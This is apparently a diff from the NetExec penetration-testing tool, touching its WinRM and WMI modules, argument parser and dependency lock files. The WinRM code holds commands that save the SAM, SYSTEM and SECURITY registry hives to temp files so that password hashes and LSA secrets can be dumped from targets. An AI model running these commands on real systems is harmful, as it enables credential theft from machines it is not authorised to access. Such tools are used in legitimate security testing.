||||
self.logger.debug(f"Received response code: {res.status_code}")
|
||||
self.auth_type = res.headers["WWW-Authenticate"] if "WWW-Authenticate" in res.headers else "NOAUTH"
|
||||
self.challenge_header = res.headers["WWW-Authenticate"]
|
||||
if (not self.challenge_header) or ("Negotiate" not in self.challenge_header):
|
||||
self.logger.info('Failed to get NTLM challenge from target "/wsman" endpoint, maybe isn\'t winrm service.')
|
||||
return False
|
||||
self.endpoint = endpoints[protocol]["url"]
|
||||
self.ssl = endpoints[protocol]["ssl"]
|
||||
return True
|
||||
|
@ -280,7 +260,7 @@ class winrm(connection):
|
|||
def sam(self):
|
||||
sam_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
try:
|
||||
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
|
||||
|
@ -309,7 +289,7 @@ class winrm(connection):
|
|||
def lsa(self):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
try:
|
||||
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
from argparse import _StoreTrueAction
|
||||
|
||||
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=[std_parser, module_parser])
|
||||
winrm_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
|
@ -9,18 +6,15 @@ def proto_args(parser, std_parser, module_parser):
|
|||
winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check, default is %(default)s, format: 'http https'(with space separated) or 'single-protocol'")
|
||||
winrm_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
|
||||
winrm_parser.add_argument("--http-timeout", dest="http_timeout", type=int, default=10, help="HTTP timeout for WinRM connections")
|
||||
no_smb_arg = winrm_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
|
||||
|
||||
dgroup = winrm_parser.add_mutually_exclusive_group()
|
||||
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
no_smb_arg.make_required = [domain_arg]
|
||||
|
||||
cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump")
|
||||
cegroup = cgroup.add_mutually_exclusive_group()
|
||||
cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
|
||||
cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
|
||||
|
@ -29,18 +23,3 @@ def proto_args(parser, std_parser, module_parser):
|
|||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
|
||||
return parser
|
||||
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop("make_required", [])
|
||||
super().__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
for x in self.make_required:
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
|
@ -1,10 +1,10 @@
|
|||
import os
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from io import StringIO
|
||||
from six import indexbytes
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.ntlm_parser import parse_challenge
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
|
||||
from nxc.logger import NXCAdapter
|
||||
|
@ -18,7 +18,6 @@ from impacket.dcerpc.v5 import transport, epm
|
|||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
|
||||
import contextlib
|
||||
|
||||
MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0"))
|
||||
|
||||
|
@ -86,7 +85,6 @@ class wmi(connection):
|
|||
def enum_host_info(self):
|
||||
# All code pick from DumpNTLNInfo.py
|
||||
# https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py
|
||||
ntlmChallenge = None
|
||||
|
||||
bind = MSRPCBind()
|
||||
item = CtxItem()
|
||||
|
@ -123,39 +121,19 @@ class wmi(connection):
|
|||
if buffer != 0:
|
||||
response = MSRPCHeader(buffer)
|
||||
bindResp = MSRPCBindAck(response.getData())
|
||||
|
||||
ntlmChallenge = ntlm.NTLMAuthChallenge(bindResp["auth_data"])
|
||||
|
||||
if ntlmChallenge["TargetInfoFields_len"] > 0:
|
||||
av_pairs = ntlm.AV_PAIRS(ntlmChallenge["TargetInfoFields"][: ntlmChallenge["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] is not None:
|
||||
try:
|
||||
self.hostname = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
except Exception:
|
||||
self.hostname = self.host
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1] is not None:
|
||||
try:
|
||||
self.domain = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
except Exception:
|
||||
self.domain = self.args.domain
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
self.fqdn = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
|
||||
if "Version" in ntlmChallenge.fields:
|
||||
version = ntlmChallenge["Version"]
|
||||
if len(version) >= 4:
|
||||
self.server_os = "Windows NT %d.%d Build %d" % (indexbytes(version, 0), indexbytes(version, 1), struct.unpack("<H", version[2:4])[0])
|
||||
ntlm_info = parse_challenge(bindResp["auth_data"])
|
||||
self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
self.hostname = self.host
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
self.fqdn = f"{self.hostname}.{self.domain}"
|
||||
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
def print_host_info(self):
|
||||
|
|
|
@ -817,7 +817,7 @@ files = [
|
|||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.12.0.dev1+20231130.165011.d370e635"
|
||||
version = "0.12.0.dev1+20240215.65950.da6f5255"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
|
@ -840,7 +840,7 @@ six = "*"
|
|||
type = "git"
|
||||
url = "https://github.com/Pennyw0rth/impacket.git"
|
||||
reference = "gkdi"
|
||||
resolved_reference = "d370e6359a410063b2c9c68f6572c3b5fb178a38"
|
||||
resolved_reference = "da6f52552b7d15f177587d902b3405e0aa07f22e"
|
||||
|
||||
[[package]]
|
||||
name = "importlib-metadata"
|
||||
|
@ -1307,17 +1307,22 @@ winacl = ">=0.1.8"
|
|||
|
||||
[[package]]
|
||||
name = "neo4j"
|
||||
version = "4.4.11"
|
||||
version = "5.18.0"
|
||||
description = "Neo4j Bolt driver for Python"
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
python-versions = ">=3.7"
|
||||
files = [
|
||||
{file = "neo4j-4.4.11.tar.gz", hash = "sha256:2fb4693d524e7661ed6b0ea5b4e3a6272dba2567809ecd1d63f1c896ebcfc241"},
|
||||
{file = "neo4j-5.18.0.tar.gz", hash = "sha256:4014406ae5b8b485a8ba46c9f00b6f5b4aaf88e7c3a50603445030c2aab701c9"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
pytz = "*"
|
||||
|
||||
[package.extras]
|
||||
numpy = ["numpy (>=1.7.0,<2.0.0)"]
|
||||
pandas = ["numpy (>=1.7.0,<2.0.0)", "pandas (>=1.1.0,<3.0.0)"]
|
||||
pyarrow = ["pyarrow (>=1.0.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "netaddr"
|
||||
version = "0.10.1"
|
||||
|
@ -1780,16 +1785,6 @@ tqdm = "*"
|
|||
unicrypto = ">=0.0.10,<=0.1.0"
|
||||
winacl = ">=0.1.7,<=0.2.0"
|
||||
|
||||
[[package]]
|
||||
name = "pyreadline"
|
||||
version = "2.1"
|
||||
description = "A python implmementation of GNU readline."
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
files = [
|
||||
{file = "pyreadline-2.1.zip", hash = "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyspnego"
|
||||
version = "0.10.2"
|
||||
|
@ -2298,4 +2293,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
|
|||
[metadata]
|
||||
lock-version = "2.0"
|
||||
python-versions = "^3.8.0"
|
||||
content-hash = "b1498f097759871b38b6ed64c9948316ed443b6814f5a736abaf5cf576cd4b78"
|
||||
content-hash = "19dfeaa2fa332997fb149a591b147061c8da77e2f69b8734d7f988562231a4e7"
|
||||
|
|
|
@ -39,7 +39,7 @@ beautifulsoup4 = ">=4.11,<5"
|
|||
lsassy = ">=3.1.8"
|
||||
termcolor = "2.0.1"
|
||||
msgpack = "^1.0.0"
|
||||
neo4j = "^4.1.1" # do not upgrade this until performance regression issues in 5 are fixed (as of 9/23)
|
||||
neo4j = "^5.0.0"
|
||||
pylnk3 = "^0.4.2"
|
||||
pypsrp = "^0.8.1"
|
||||
paramiko = "^3.3.1"
|
||||
|
@ -62,7 +62,6 @@ pyasn1-modules = "^0.3.0"
|
|||
rich = "^13.3.5"
|
||||
python-libnmap = "^0.7.3"
|
||||
oscrypto = { git = "https://github.com/Pennyw0rth/oscrypto" } # Pypi version currently broken, see: https://github.com/wbond/oscrypto/issues/78 (as of 9/23)
|
||||
pyreadline = { version = "^2.1", markers = "sys_platform == 'win32'" } # for the build - impacket imports its hidden from the builder so an error occurs
|
||||
argcomplete = "^3.1.4"
|
||||
|
||||
[tool.poetry.group.dev.dependencies]
|
||||
|
|
Loading…
Reference in New Issue